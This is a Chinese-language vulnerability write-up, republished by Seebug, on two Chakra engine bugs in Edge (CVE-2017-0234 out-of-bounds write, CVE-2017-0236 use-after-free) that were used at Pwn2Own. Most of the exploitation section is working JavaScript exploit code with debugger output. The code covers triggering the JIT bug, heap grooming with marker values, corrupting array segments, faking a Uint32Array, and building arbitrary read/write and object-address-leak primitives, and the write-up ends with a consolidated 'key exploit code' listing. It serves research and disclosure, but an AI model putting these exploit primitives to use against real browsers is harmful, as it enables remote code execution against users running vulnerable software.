??0x00背景
今年3月結束的Pwn2own比賽中,湛瀘實驗室1秒內攻破史上最高難度的Edge瀏覽器,拿到首個單項最高分14分。此次比賽湛瀘實驗室準備了多個Edge漏洞和windows10內核提權漏洞,相關漏洞信息已經報告給微軟。本文粗略介紹一下Pwn2Own比賽中湛瀘實驗室所用到的兩個Edge漏洞,以及漏洞利用中的DVE(Data-Virtualization Execute)技術。這兩個Edge漏洞我們實驗室都完成了利用,在利用的細節上和之前IE上的cve-2014-6332有著異曲同工之妙。即DVE技術的基本思想:程序的一切皆是數據,通過修改程序的關鍵數據結構來控制程序執行,從而繞過所有Mitigation機制。下面筆者將較為細致地分析Pwn2own比賽的漏洞成因和利用過程,現在就開始Pwn2Own的旅程吧。Let’s go!!!!
0x01 漏洞簡介
去年,湛瀘實驗室發現Chakra引擎中ArrayBuffer對象的兩個神洞,一個越界訪問(CVE:2017-0234)和一個釋放后重用(CVE:2017-0236)。這兩個漏洞的特殊之處在于漏洞的觸發路徑都在chakra引擎生成的jit 代碼中。下面,筆者就和大家分享這兩個漏洞的相關細節。
0x02漏洞成因
先看下面這段JS代碼:
function write(begin,end,step,num)
{
for(var i=begin;i<end;i+=step) view[i]=num;
}
var buffer = new ArrayBuffer(0x10000);
var view = new Uint32Array(buffer);
write(0,0x4000,1,0x1234);
write(0x3000000e,0x40000010,0x10000,1851880825);
其中,執行write(0,0x4000,1,0x1234)這句JS,會讓chakra引擎針對write函數中的for循環生成Jit code。JIT生成的循環代碼調用入口在chakra!Js::InterpreterStackFrame::DoLoopBodyStart,我們對這個函數下斷,即可跟蹤到write函數中for循環對應的Jit code。
?JIT經過一些列準備工作,最終來到JITLoop代碼部分:

看一下JIT對這個for循環生成的匯編代碼:

?代碼稍微行數多一點,分開解釋分析,for循環頭部是獲取for循環相關的參數

R12=0x0001000000010000 //這里是取出for循環的step=0x0001000000010000
R13=0x000100006e617579 //這里是取出view數組要賦予的值0x000100006e617579
R14=0x0001000040000010 //這里是取出for循環的end=0x0001000040000010
R15=0x000100003000000e //這里是取出for循環的start=0x000100003000000e
在這里可以發現每一個數值的高四位有一個1,是用來區分這個值是對象還是int類型的
1 表示數據int,0 表示obj

0:010>
rax=0000000000000001 rbx=00000186e9c00000 rcx=00000186e9800dc0
rdx=0000000000010000 rsi=00000186e95d68c4 rdi=00000036be1fb900
rip=00000187e9f00122 rsp=00000036be1fb5d0 rbp=00000036be1fb670
r8=000000003000000e r9=0000000040000010 r10=000100006e617579
r11=0000000000000001 r12=000100006e617579 r13=000100006e617579
r14=0001000040000010 r15=000100003000000e
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
mov dword ptr [rbx+r8*4],r12d ds:00000187`a9c00038=????????
最終代碼運行到此處,rbx是buffer對象的內存基地址,r8是數組索引0x3000000e,r12給數組賦予的值,整個過程沒有檢測索引的范圍造成了數組越界。當然漏洞不僅僅這一個,仔細推敲上述過程,我們可以發現,JIT在使用buffer對象的緩沖區域時并沒有檢測buffer對象是否被分離釋放,這就是我們發現的第二個漏洞。可能細心點的讀者都發現了,寫入的地址不可訪問,都是?????????,那為什么漏洞會利用成功而且不崩潰呢?請看下文。
0x03 漏洞利用
只有crash是遠遠不夠的,還記得yuange曾經說過:”exp的價值遠遠大于poc”。下面筆者將分析一下兩個漏洞的利用技術,兩個漏洞成因極為相似,所以在利用技術上也很相近。
觸發UAF漏洞主要代碼如下:
var buffer = new ArrayBuffer(0x10000);
var view = new Uint32Array(buffer);
var worker = new Worker('uaf1.js');
worker.postMessage(buffer,[buffer]);
worker.terminate();
主要邏輯:
1)申請一個ArrayBuffer類型的數組變量buffer對象
2)緊接著新建Uint32Array類型的數組對象view,引用上面的buffer對象
3)通過調用postMessage(buffer,[buffer])和terminate()會將buffer對象申請的緩沖區內存徹底釋放,這里是觸發UAF的關鍵。work.postMessage移交buffer對象所有權, terminate()結束worker線程的時候會釋放掉buffer這個對象原來申請的內存。
4)然而在類型數組view中卻仍然保留著buffer對象申請的緩沖區內存的引用,并且引用時沒有做檢查,所以造成UAF 漏洞。.
越界代碼因為ArrayBuffer對象申請4G虛擬空間,占位內存必須在ArrayBuffer的4G空間之后,這樣兩個漏洞利用就只有占位空間不一樣,利用TypedArray寫內存的索引不一樣。UAF漏洞占位在原有buffer對象申請的緩沖區空間,OOB漏洞占位在其后4G空間。這樣OOB漏洞寫占位內存時,索引需要增加0x100000000/4=0x40000000,其它都相同。
1. 詳細分析
我們來跟蹤一下UAF的漏洞利用相關代碼。
1)首先,申請一個ArrayBuffer類型的數組變量buffer,找到這個buffer變量,看一下內存結構

?rcx是ArrayBuffer對象,0x00000186-e9c00000是buffer對象申請的緩沖區內存,0x00000000-00010000 是buffer長度
?下面是buffer的內存部分大小0x10000

?2)緊接著新建Uint32Array類型的變量view,引用上面的buffer,然后write(0,0x4000,1,0x1234); //大循環操作內存,讓chakra引擎生成JIT代碼
使用view對象操作ArraryBuffer的內存,看看被修改的buffer對象緩沖區這塊內存,內存布局如下

?3)通過調用postMessage(buffer,[buffer])和terminate()會將buffer的緩沖區內存空間徹底釋放。執行terminate之后釋放了buffer對象的緩沖區內存,buffer指針被置空,長度值為0,(0x00000001-00000000實際代表長度為零)。

worker.postMessage(buffer,[buffer]);
worker.terminate();當worker調用postMessage的時候會發生Detach操作

?會調用 Js::ArrayBufferDetachedStateBase *__fastcall Js::ArrayBuffer::DetachAndGetState—>
chakra!Js::ArrayBuffer::ClearParentsLength 把對象的長度清掉

?此時還沒有清掉內存,后續函數會把內存釋放掉。
4)然而在變量view 中卻仍然保留著buffer對象緩沖區的引用,所以造成UAF 漏洞。下面內存是view對象的,此時View對buffer對象申請的緩沖區的引用仍然存在,也就是地址并沒有清零

?此時我們看一下內存情況,buffer對象申請的緩沖區是不能被訪問的

?已經被系統給回收了。 這樣我們再占位這內存后,利用view對象去操作這塊內存就造成了UAF漏洞。
2. 漏洞利用&Pwn
漏洞原因已經比較清晰了,but, How to Pwn?繼續分析, 利用技術要點: 1)UAF漏洞在釋放buffer對象的緩沖區后,緊接著通過分配Array 來占用已釋放的緩沖區內存。OOB漏洞不需要前面的釋放buffer對象緩沖區代碼,最終占位的是緩沖區4G后的空間。 代碼如下:
for(var i=0;i<0x1000;i+=1)
{
arr[i]=new Array(0x800);
arr[i][1]=25959;
arr[i][0]=0;
}
2)通過write向占位的arr寫入標記,然后檢測arr定位到占位成功的arr。OOB漏洞調用write寫的時候,索引begin和end都需要加上0x40000000。
for(var i=0;i<0x1000;i+=1)
{
arr[i]=new Array(0x800);
arr[i][1]=25959;
arr[i][0]=0;
write(0x0e,0x00010,0x1000,1851880825);
if(arr[i][0]==1851880825)
{
1851880825 這個奇怪數值是什么呢?程序員看到這個數字大腦絕對是崩潰的,其實1851880825是”yuange”字符串中的”yuan”,25959是”yuange”中的”ge”,占位成功的話就拼接出”yuange”這個字符串。

?然后利用占位的數組,精心的構造一個對象,

?0x6e617579是標記,0x6567也是一個標記
//arr[i+1](arrvar) 的數據區緊鄰arr[i](arrint)的數據區,都在釋放了的buffer對象的緩沖區空間內
arr[i+1]=new Array(0x400);
arr[i+1][1]=buffer;
arr[i+1][0]=0;
getarrint(i);
}
}
函數getarrint 的定義如下:
function getarrint(i)
{
arr[i].length=0x10000;
arrint=arr[i];
arrvar=arr[i+1];
write(0x09,0x001000,0x100000,0x0001000);
write(0x0a,0x001000,0x100000,0x0001000);
}
//這里兩個write修改占位成功的arrint 對象的segment 的size和length 字段

?下面可以看到已經成功修改了segment 的size和length字段
之前這個對象內存如下0x00000002 代表存儲int的個數,從后面的內存可以看到,這里存儲了0x6e617579和0x00006567兩個值,0x6e617579是JIT代碼寫進來的,覆蓋了arr[i][0]=0這個值。

?修改這個有什么作用呢?其實此時已經得到了一個長度為0x1000的seg,
seg中元素個數為0x1000,此時就能越界對后面內存進行讀寫訪問了。

?這個先放在這,后面要用到。下一步就是偽造一個fakeview,進而完成任意地址讀寫。
3)此時的內存布局如下:
Buffer--------> ---------------------------
| 0x20 內存塊頭部|
Arrint.seg--------->| |
| |
| |
| 0x3000 內存塊|
| |
| |
Arrvar.seg———>| |
| |
| |
| |
| |
內存就是下面這樣,注意連個地址之間相隔0x3020,中間是占位產生的數據

?arrint是NativeIntArray, 其seg的size為0x802,每個元素的長度為4byte,共為0x802*4+0x20+0x18=0x2040bytes長度,然后因為內存頁對齊的原因為0x3000byte,所以中間空余了0x3000。此時我們可以通過arrint越界去讀寫arrvar的buffer部分了,這就已經完成對象地址的泄露了。
function getobjadd(myvar)
{
arrvar[3]=myvar;
uint32[0]=arrint[0xc06];
return arrint[0xc07]*0x100000000+uint32[0];
}
4)緊接著通過調用fakeview 函數來偽造一個完全可控的TypedArray對象myview 實現任意地址讀寫。
var buffer1 = new ArrayBuffer(0x100);
var view1 = new Uint32Array(buffer1);
var view2 = new Uint32Array(buffer1);
var view3 = new Uint32Array(buffer1);
var view4 = new Uint32Array(buffer1);
function fakeview( )
{
arrint.length=0xffff0000; //arrint長度修改

?arrvar[0]=buffer1;
arrvar[1]=view2;
arrvar[2]=0;
//修改arrint 的segment.next 指向view2+0x28
write(0x00000d,0x001000,0x100000,arrint[0xc03]);
write(0x00000c,0x001000,0x100000,arrint[0xc02]+0x28);
?View+0x28位置是存放的buffer1對象的地址:
?使用arrint[0xc00]越界就可以獲取到buffer1對象地址0x186-e96a5300低4字節。
uint32[0]=arrint[0xc00];
index=uint32[0];
//中間使用unit32[0]是用來做符號轉換的,index就是buffer1對象的地址低4字節。因為seg.next指向view2+0x28,view2+0x28的值為buffer1,所以下一個seg的seg.left就是buffer1的低4字節,這個段的索引號就是從index開始。
Seg的頭長度0x18,后面接的是具體數組數據,這樣0x28+0x18=0x40,view2對象的長度是0x40,這時候seg的數組數據區域就剛好指向下一個view對象0x186`e9800dc0,可能是緊挨著的view1或者view3。
//通過越界讀復制view1或者view3 對象的0x40字節到view4 的buff 區域
for(var i=0;i<0x10;i++) view4[i]=arrint[index+i];
//恢復segment.next
write(0x0d,0x0001000,0x100000,0);
write(0x0c,0x0001000,0x100000,0);
View4對象內存如下,View4的buffer地址為0x17e-e425ae40,現在這個已經是我們偽造出來的myview的結構體部分

?myview 的內存布局如下:
arrint[0xc04]=view4[0x0e];
arrint[0xc05]=view4[0x0f];
// view4[0xe]和view4[0x0f]對應的就是view4引用的buffer1對象的數據緩沖區,也就是偽造的myview對象的地址,取出來保存到arrvar[2]位置。這樣就把偽造的view對象通過arrvar[2]做對象引出,可以JS直接引用。
myview=arrvar[2];
}
得到了需要的偽造的TypedArray對象myview,整個對象結構體在view4里,可以通過view4去修改。myview 的內存布局如下:

myview是Uint32Array對象,結構體中存了一個64位數組數據緩沖區指針,我們已經具備了修改這個對象結構的能力,那么我們可以通過修改這個指針,通過類型數組做到任意地址讀寫。
5)此時myview 便偽造成功,由于myview 整個都在view4 的buff 空間中,所以view4 可以對myview 進行任意讀寫,而此時myview 也被edge 識別為Uint32Array 對象類型。即可實現任意讀寫,代碼如下:
function readuint32(address)
{
view4[0x0e]=address%0x100000000;
view4[0x0f]=address/0x100000000;
return myview[0];
}
function writeuint32(address,num)
{
view4[0x0e]=address%0x100000000;
view4[0x0f]=address/0x100000000;
myview[0]=num;
}
加上前面已經實現的任意對象地址讀取
function getobjadd(myvar)
{
arrvar[3]=myvar;
uint32[0]=arrint[0xc06];
return arrint[0xc07]*0x100000000+uint32[0];
}
這樣可以獲取任意我們需要的對象地址,然后讀寫和修改對象數據,繼續bypass各種利用緩解措施,得到代碼執行能力等,從這里開始就獲得了和上帝一樣的能力。
0x04漏洞攻擊(Fire Now!!!)
攻擊效果就是百發百中,指哪打哪。

0x05 漏洞精華
筆者才疏學淺,深知自己不能完全領會漏洞利用的全部,但是也總結一下調試過程中發現漏洞利用精華和奇妙的地方,
1) 這個漏洞在沒有占位成功的時候,向已經釋放的內存中寫入數據并不會導致程序崩潰,這就大大的增加了漏洞利用程序的穩定性。

?調試的時候,發現這個buffer在沒有完成占位的情況下,對buffer的寫入操作并不會崩潰,這個異常會被edge自己處理掉,不會導致崩潰發生,這樣就會讓exploit程序非常的穩定。也是非常感嘆這是兩個非常好用的神洞啊。也就是文中前面留下的那個神秘問題。
2) 漏洞利用精髓自然是DVE方法精確的數據控制能力,通過漏洞的內存修改能力,修改arrint對象的seg的數據結構,然后arrint和arrvar互相配合實現類型混淆,可以對對象任意讀寫偽造,這和cve-2014-6332的DVE利用代碼的兩個數組交錯修改具有異曲同工之秒。完成任意地址讀寫,然后通過修改對象數據,打開“上帝模式”。
0xFF總結
通過上述分析,筆者逐漸領悟到DVE技術的精髓:通過修改關鍵數據結構來獲取任意數據操縱的能力,這就是袁哥所說的“上帝之手”。然后借”上帝之手”繞過dep+alsr+cfg+rfg等漏洞防御技術,最后配合內核漏洞,完成整個Exploit Chain的攻擊。感謝分析過程中yuange的指導和實驗室小伙伴的幫助,筆者能力有限,分析有誤的地方還望大家指出。最后,歡迎對二進制漏洞研究感興趣的小伙伴加入騰訊湛瀘實驗室,發送簡歷到yuangeyuan@tencent.com。
部分關鍵利用代碼:
for(var i=0;i<0x1000;i+=1)
{
arr[i]=new Array(0x800);
arr[i][1]=25959;
arr[i][0]=0;
write(0x0e,0x00010,0x1000,1851880825);
if(arr[i][0]==1851880825)
{
arr[i+1]=new Array(0x400);
arr[i+1][1]=buffer;
arr[i+1][0]=0;
getarrint(i);
fakeview();
document.write("<br><br> find i="+i+"<br>");
bypassdepcfg();
break;
}
}
function getarrint(i)
{
arr[i].length=0x10000;
arrint=arr[i];
arrvar=arr[i+1];
write(0x09,0x001000,0x100000,0x0001000);
write(0x0a,0x001000,0x100000,0x0001000);
}
function fakeview( )
{
arrint.length=0xffff0000;
arrvar[0]=buffer1;
arrvar[1]=view2;
arrvar[2]=0;
write(0x0d,0x001000,0x100000,arrint[0xc03]);
write(0x0c,0x001000,0x100000,arrint[0xc02]+0x28);
uint32[0]=arrint[0xc00];
index=uint32[0];
for(var i=0;i<0x10;i++) view4[i]=arrint[index+i];
write(0x0d,0x0001000,0x100000,0);
write(0x0c,0x0001000,0x100000,0);
arrint[0xc04]=view4[0x0e];
arrint[0xc05]=view4[0x0f];
myview=arrvar[2];
}
????
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/301/